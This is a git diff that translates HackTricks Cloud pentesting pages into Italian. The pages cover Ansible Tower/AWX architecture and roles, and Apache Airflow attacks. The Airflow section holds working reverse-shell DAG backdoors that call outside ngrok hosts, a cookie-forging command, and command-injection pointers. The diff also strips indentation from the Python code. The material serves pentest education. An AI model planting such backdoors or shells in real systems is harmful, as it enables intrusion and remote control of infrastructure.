diff --git a/src/README.md b/src/README.md
index 01b146fd1..9aa875119 100644
--- a/src/README.md
+++ b/src/README.md
@@ -6,35 +6,31 @@ Reading time: {{ #reading_time }}
-_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
+_I loghi e il design in movimento di Hacktricks sono stati creati da_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
-> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
+> Benvenuto nella pagina dove troverai ogni **trucco/tecnica/qualunque cosa relativa a CI/CD & Cloud** che ho imparato in **CTF**, **reali** ambienti **di vita**, **ricercando**, e **leggendo** ricerche e notizie.
-### **Pentesting CI/CD Methodology**
+### **Metodologia di Pentesting CI/CD**
-**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
+**Nella Metodologia CI/CD di HackTricks troverai come effettuare pentesting su infrastrutture relative ad attività CI/CD.** Leggi la pagina seguente per un'**introduzione:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
-### Pentesting Cloud Methodology
+### Metodologia di Pentesting Cloud
-**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
+**Nella Metodologia Cloud di HackTricks troverai come effettuare pentesting su ambienti cloud.** Leggi la pagina seguente per un'**introduzione:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
-### License & Disclaimer
+### Licenza & Dichiarazione di non responsabilità
-**Check them in:**
+**Controllali in:**
-[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
+[Valori & FAQ di HackTricks](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
-### Github Stats
+### Statistiche Github
-
+
{{#include ./banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index feae5163c..1b1d60c58 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -505,3 +505,5 @@
+
+
diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index b684cee3d..b3219311b 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -1,17 +1,13 @@
> [!TIP]
-> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+> Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+> Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
>
>
>
-> Support HackTricks
+> Supporta HackTricks
>
-> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
+> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
>
>
-
-
-
-
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index d3fbf19e5..1e5aa6711 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -4,60 +4,59 @@
## Basic Information
-**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
+**Ansible Tower** o la sua versione open source [**AWX**](https://github.com/ansible/awx) è conosciuto anche come **interfaccia utente di Ansible, dashboard e REST API**. Con **controllo degli accessi basato sui ruoli**, pianificazione dei lavori e gestione grafica dell'inventario, puoi gestire la tua infrastruttura Ansible da un'interfaccia moderna. L'API REST di Tower e l'interfaccia a riga di comando rendono semplice integrarlo negli strumenti e nei flussi di lavoro attuali.
-**Automation Controller is a newer** version of Ansible Tower with more capabilities.
+**Automation Controller è una versione più recente** di Ansible Tower con maggiori capacità.
### Differences
-According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
+Secondo [**questo**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), le principali differenze tra Ansible Tower e AWX sono il supporto ricevuto e Ansible Tower ha funzionalità aggiuntive come il controllo degli accessi basato sui ruoli, supporto per API personalizzate e flussi di lavoro definiti dall'utente.
### Tech Stack
-- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
-- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
-- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
-- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
-- **Redis**: Redis serves as a cache and a backend for the task queue.
+- **Web Interface**: Questa è l'interfaccia grafica in cui gli utenti possono gestire inventari, credenziali, modelli e lavori. È progettata per essere intuitiva e fornisce visualizzazioni per aiutare a comprendere lo stato e i risultati dei tuoi lavori di automazione.
+- **REST API**: Tutto ciò che puoi fare nell'interfaccia web, puoi farlo anche tramite l'API REST. Questo significa che puoi integrare AWX/Tower con altri sistemi o scriptare azioni che normalmente esegui nell'interfaccia.
+- **Database**: AWX/Tower utilizza un database (tipicamente PostgreSQL) per memorizzare la sua configurazione, i risultati dei lavori e altri dati operativi necessari.
+- **RabbitMQ**: Questo è il sistema di messaggistica utilizzato da AWX/Tower per comunicare tra i diversi componenti, specialmente tra il servizio web e i task runner.
+- **Redis**: Redis funge da cache e backend per la coda dei task.
### Logical Components
-- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
-- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
-- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
-- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
-- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
-- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
-- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
-- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
+- **Inventories**: Un inventario è una **collezione di host (o nodi)** contro cui possono essere **eseguiti** i **lavori** (playbook Ansible). AWX/Tower ti consente di definire e raggruppare i tuoi inventari e supporta anche inventari dinamici che possono **recuperare elenchi di host da altri sistemi** come AWS, Azure, ecc.
+- **Projects**: Un progetto è essenzialmente una **collezione di playbook Ansible** provenienti da un **sistema di controllo versione** (come Git) per estrarre i playbook più recenti quando necessario.
+- **Templates**: I modelli di lavoro definiscono **come verrà eseguito un particolare playbook**, specificando l'**inventario**, le **credenziali** e altri **parametri** per il lavoro.
+- **Credentials**: AWX/Tower fornisce un modo sicuro per **gestire e memorizzare segreti, come chiavi SSH, password e token API**. Queste credenziali possono essere associate ai modelli di lavoro in modo che i playbook abbiano l'accesso necessario quando vengono eseguiti.
+- **Task Engine**: Qui avviene la magia. Il motore dei task è costruito su Ansible ed è responsabile per **l'esecuzione dei playbook**. I lavori vengono inviati al motore dei task, che poi esegue i playbook Ansible contro l'inventario designato utilizzando le credenziali specificate.
+- **Schedulers and Callbacks**: Queste sono funzionalità avanzate in AWX/Tower che consentono ai **lavori di essere pianificati** per essere eseguiti in momenti specifici o attivati da eventi esterni.
+- **Notifications**: AWX/Tower può inviare notifiche in base al successo o al fallimento dei lavori. Supporta vari mezzi di notifiche come email, messaggi Slack, webhook, ecc.
+- **Ansible Playbooks**: I playbook Ansible sono strumenti di configurazione, distribuzione e orchestrazione. Descrivono lo stato desiderato dei sistemi in modo automatizzato e ripetibile. Scritti in YAML, i playbook utilizzano il linguaggio di automazione dichiarativa di Ansible per descrivere configurazioni, attività e passaggi che devono essere eseguiti.
### Job Execution Flow
-1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
+1. **User Interaction**: Un utente può interagire con AWX/Tower sia tramite l'**Interfaccia Web** che l'**API REST**. Queste forniscono accesso front-end a tutte le funzionalità offerte da AWX/Tower.
2. **Job Initiation**:
- - The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
+- L'utente, tramite l'Interfaccia Web o API, avvia un lavoro basato su un **Modello di Lavoro**.
+- Il Modello di Lavoro include riferimenti all'**Inventario**, al **Progetto** (contenente il playbook) e alle **Credenziali**.
+- Al momento dell'inizio del lavoro, viene inviata una richiesta al backend di AWX/Tower per mettere in coda il lavoro per l'esecuzione.
3. **Job Queuing**:
- - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
+- **RabbitMQ** gestisce la messaggistica tra il componente web e i task runner. Una volta avviato un lavoro, un messaggio viene inviato al motore dei task utilizzando RabbitMQ.
+- **Redis** funge da backend per la coda dei task, gestendo i lavori in coda in attesa di esecuzione.
4. **Job Execution**:
- - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
+- Il **Task Engine** preleva il lavoro in coda. Recupera le informazioni necessarie dal **Database** riguardo al playbook associato al lavoro, all'inventario e alle credenziali.
+- Utilizzando il playbook Ansible recuperato dal **Progetto** associato, il Task Engine esegue il playbook contro i nodi dell'**Inventario** specificato utilizzando le **Credenziali** fornite.
+- Mentre il playbook viene eseguito, il suo output di esecuzione (log, fatti, ecc.) viene catturato e memorizzato nel **Database**.
5. **Job Results**:
- - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- - Users can then view the results through the Web Interface or query them via the REST API.
- - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
+- Una volta che il playbook ha terminato l'esecuzione, i risultati (successo, fallimento, log) vengono salvati nel **Database**.
+- Gli utenti possono quindi visualizzare i risultati tramite l'Interfaccia Web o interrogarli tramite l'API REST.
+- In base ai risultati del lavoro, possono essere inviate **Notifiche** per informare gli utenti o i sistemi esterni sullo stato del lavoro. Le notifiche possono essere email, messaggi Slack, webhook, ecc.
6. **External Systems Integration**:
- - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
+- **Inventories** possono essere recuperati dinamicamente da sistemi esterni, consentendo ad AWX/Tower di estrarre host da fonti come AWS, Azure, VMware e altro.
+- **Projects** (playbook) possono essere recuperati da sistemi di controllo versione, garantendo l'uso di playbook aggiornati durante l'esecuzione del lavoro.
+- **Schedulers and Callbacks** possono essere utilizzati per integrarsi con altri sistemi o strumenti, facendo sì che AWX/Tower reagisca a trigger esterni o esegua lavori a orari prestabiliti.
### AWX lab creation for testing
-[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
-
+[**Seguendo la documentazione**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) è possibile utilizzare docker-compose per eseguire AWX:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
-
## RBAC
-### Supported roles
+### Ruoli supportati
-The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
+Il ruolo più privilegiato è chiamato **Amministratore di Sistema**. Chiunque abbia questo ruolo può **modificare qualsiasi cosa**.
-From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
+Da una revisione di **sicurezza a scatola bianca**, avresti bisogno del **ruolo di Revisore di Sistema**, che consente di **visualizzare tutti i dati di sistema** ma non può apportare modifiche. Un'altra opzione sarebbe ottenere il **ruolo di Revisore dell'Organizzazione**, ma sarebbe meglio ottenere l'altro.
-Expand this to get detailed description of available roles
+Espandi per ottenere una descrizione dettagliata dei ruoli disponibili
-1. **System Administrator**:
- - This is the superuser role with permissions to access and modify any resource in the system.
- - They can manage all organizations, teams, projects, inventories, job templates, etc.
-2. **System Auditor**:
- - Users with this role can view all system data but cannot make any changes.
- - This role is designed for compliance and oversight.
-3. **Organization Roles**:
- - **Admin**: Full control over the organization's resources.
- - **Auditor**: View-only access to the organization's resources.
- - **Member**: Basic membership in an organization without any specific permissions.
- - **Execute**: Can run job templates within the organization.
- - **Read**: Can view the organization’s resources.
-4. **Project Roles**:
- - **Admin**: Can manage and modify the project.
- - **Use**: Can use the project in a job template.
- - **Update**: Can update project using SCM (source control).
-5. **Inventory Roles**:
- - **Admin**: Can manage and modify the inventory.
- - **Ad Hoc**: Can run ad hoc commands on the inventory.
- - **Update**: Can update the inventory source.
- - **Use**: Can use the inventory in a job template.
- - **Read**: View-only access.
-6. **Job Template Roles**:
- - **Admin**: Can manage and modify the job template.
- - **Execute**: Can run the job.
- - **Read**: View-only access.
-7. **Credential Roles**:
- - **Admin**: Can manage and modify the credentials.
- - **Use**: Can use the credentials in job templates or other relevant resources.
- - **Read**: View-only access.
-8. **Team Roles**:
- - **Member**: Part of the team but without any specific permissions.
- - **Admin**: Can manage the team's members and associated resources.
-9. **Workflow Roles**:
- - **Admin**: Can manage and modify the workflow.
- - **Execute**: Can run the workflow.
- - **Read**: View-only access.
+1. **Amministratore di Sistema**:
+- Questo è il ruolo di superutente con permessi per accedere e modificare qualsiasi risorsa nel sistema.
+- Possono gestire tutte le organizzazioni, i team, i progetti, gli inventari, i modelli di lavoro, ecc.
+2. **Revisore di Sistema**:
+- Gli utenti con questo ruolo possono visualizzare tutti i dati di sistema ma non possono apportare modifiche.
+- Questo ruolo è progettato per la conformità e la supervisione.
+3. **Ruoli dell'Organizzazione**:
+- **Admin**: Controllo completo sulle risorse dell'organizzazione.
+- **Revisore**: Accesso in sola visualizzazione alle risorse dell'organizzazione.
+- **Membro**: Membro di base in un'organizzazione senza permessi specifici.
+- **Esegui**: Può eseguire modelli di lavoro all'interno dell'organizzazione.
+- **Leggi**: Può visualizzare le risorse dell'organizzazione.
+4. **Ruoli del Progetto**:
+- **Admin**: Può gestire e modificare il progetto.
+- **Usa**: Può utilizzare il progetto in un modello di lavoro.
+- **Aggiorna**: Può aggiornare il progetto utilizzando SCM (controllo sorgente).
+5. **Ruoli dell'Inventario**:
+- **Admin**: Può gestire e modificare l'inventario.
+- **Ad Hoc**: Può eseguire comandi ad hoc sull'inventario.
+- **Aggiorna**: Può aggiornare la fonte dell'inventario.
+- **Usa**: Può utilizzare l'inventario in un modello di lavoro.
+- **Leggi**: Accesso in sola visualizzazione.
+6. **Ruoli del Modello di Lavoro**:
+- **Admin**: Può gestire e modificare il modello di lavoro.
+- **Esegui**: Può eseguire il lavoro.
+- **Leggi**: Accesso in sola visualizzazione.
+7. **Ruoli delle Credenziali**:
+- **Admin**: Può gestire e modificare le credenziali.
+- **Usa**: Può utilizzare le credenziali nei modelli di lavoro o in altre risorse pertinenti.
+- **Leggi**: Accesso in sola visualizzazione.
+8. **Ruoli del Team**:
+- **Membro**: Parte del team ma senza permessi specifici.
+- **Admin**: Può gestire i membri del team e le risorse associate.
+9. **Ruoli del Workflow**:
+- **Admin**: Può gestire e modificare il workflow.
+- **Esegui**: Può eseguire il workflow.
+- **Leggi**: Accesso in sola visualizzazione.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index aac46128c..430a3133c 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -1,23 +1,22 @@
-# Apache Airflow Security
+# Sicurezza di Apache Airflow
{{#include ../../banners/hacktricks-training.md}}
-### Basic Information
+### Informazioni di Base
-[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
+[**Apache Airflow**](https://airflow.apache.org) funge da piattaforma per **l'orchestrazione e la pianificazione di pipeline di dati o flussi di lavoro**. Il termine "orchestrazione" nel contesto delle pipeline di dati indica il processo di organizzazione, coordinamento e gestione di flussi di lavoro complessi di dati provenienti da varie fonti. Lo scopo principale di queste pipeline di dati orchestrate è fornire set di dati elaborati e utilizzabili. Questi set di dati sono ampiamente utilizzati da una miriade di applicazioni, tra cui, ma non solo, strumenti di business intelligence, modelli di data science e machine learning, tutti fondamentali per il funzionamento delle applicazioni di big data.
-Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
+Fondamentalmente, Apache Airflow ti permetterà di **pianificare l'esecuzione di codice quando qualcosa** (evento, cron) **accade**.
-### Local Lab
+### Laboratorio Locale
#### Docker-Compose
-You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
+Puoi utilizzare il **file di configurazione docker-compose da** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) per avviare un ambiente docker completo di apache airflow. (Se sei su MacOS assicurati di dare almeno 6GB di RAM alla VM docker).
#### Minikube
-One easy way to **run apache airflo**w is to run it **with minikube**:
-
+Un modo semplice per **eseguire apache airflow** è farlo **con minikube**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
+### Configurazione di Airflow
-### Airflow Configuration
-
-Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
+Airflow potrebbe memorizzare **informazioni sensibili** nella sua configurazione o potresti trovare configurazioni deboli in atto:
{{#ref}}
airflow-configuration.md
{{#endref}}
-### Airflow RBAC
+### RBAC di Airflow
-Before start attacking Airflow you should understand **how permissions work**:
+Prima di iniziare ad attaccare Airflow, dovresti comprendere **come funzionano i permessi**:
{{#ref}}
airflow-rbac.md
{{#endref}}
-### Attacks
+### Attacchi
-#### Web Console Enumeration
+#### Enumerazione della Console Web
-If you have **access to the web console** you might be able to access some or all of the following information:
+Se hai **accesso alla console web**, potresti essere in grado di accedere ad alcune o a tutte le seguenti informazioni:
-- **Variables** (Custom sensitive information might be stored here)
-- **Connections** (Custom sensitive information might be stored here)
- - Access them in `http:///connection/list/`
-- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
-- List **users & roles**
-- **Code of each DAG** (which might contain interesting info)
+- **Variabili** (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)
+- **Connessioni** (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)
+- Accedile in `http:///connection/list/`
+- [**Configurazione**](./#airflow-configuration) (Informazioni sensibili come il **`secret_key`** e le password potrebbero essere memorizzate qui)
+- Elenca **utenti e ruoli**
+- **Codice di ogni DAG** (che potrebbe contenere informazioni interessanti)
-#### Retrieve Variables Values
+#### Recupera i Valori delle Variabili
-Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\
-Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
+Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nella GUI in `http:///variable/list/`.\
+Airflow per impostazione predefinita mostrerà il valore della variabile nella GUI, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nella **GUI**.
.png>)
-However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
-To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
-Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
+Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), esecuzione di **DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche la GUI stessa!**\
+Per accedere a quei valori dalla GUI, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\
+Un altro modo è eseguire un **bruteforce** sul **valore nascosto** utilizzando il **filtro di ricerca** fino a ottenerlo:
.png>)
-#### Privilege Escalation
-
-If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
+#### Escalation dei Privilegi
+Se la configurazione **`expose_config`** è impostata su **True**, da **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
-
#### DAG Backdoor (RCE in Airflow worker)
-If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
-Note that this reverse shell is going to be executed inside an **airflow worker container**:
-
+Se hai **accesso in scrittura** al luogo in cui i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\
+Nota che questa reverse shell verrà eseguita all'interno di un **contenitore worker di airflow**:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
- dag_id='rev_shell_bash',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_bash',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = BashOperator(
- task_id='run',
- bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
- )
+run = BashOperator(
+task_id='run',
+bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
+)
```
```python
@@ -105,75 +100,66 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
with DAG(
- dag_id='rev_shell_python',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python',
- python_callable=rs,
- op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
- )
+run = PythonOperator(
+task_id='rs_python',
+python_callable=rs,
+op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
+)
```
+#### DAG Backdoor (RCE nel scheduler di Airflow)
-#### DAG Backdoor (RCE in Airflow scheduler)
-
-If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
-
+Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione all'interno della cartella del DAG.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
- dag_id='rev_shell_python2',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python2',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python2',
- python_callable=rs,
- op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
+run = PythonOperator(
+task_id='rs_python2',
+python_callable=rs,
+op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
+#### Creazione di DAG
-#### DAG Creation
+Se riesci a **compromettere una macchina all'interno del cluster DAG**, puoi creare nuovi **script DAG** nella cartella `dags/` e verranno **replicati nel resto delle macchine** all'interno del cluster DAG.
-If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
+#### Iniezione di Codice DAG
-#### DAG Code Injection
+Quando esegui un DAG dalla GUI puoi **passare argomenti** ad esso.\
+Pertanto, se il DAG non è codificato correttamente potrebbe essere **vulnerabile all'Iniezione di Comandi.**\
+Questo è ciò che è accaduto in questo CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-When you execute a DAG from the GUI you can **pass arguments** to it.\
-Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
-That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-
-All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
-
-Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
+Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che **i parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**.
+Inoltre, la stessa vulnerabilità potrebbe verificarsi con **variabili** (nota che con privilegi sufficienti potresti **controllare il valore delle variabili** nella GUI). Le variabili sono **accessibili con**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
-
-If they are used for example inside a a bash command, you could perform a command injection.
+Se vengono utilizzati, ad esempio, all'interno di un comando bash, potresti eseguire un'iniezione di comandi.
{{#include ../../banners/hacktricks-training.md}}
-
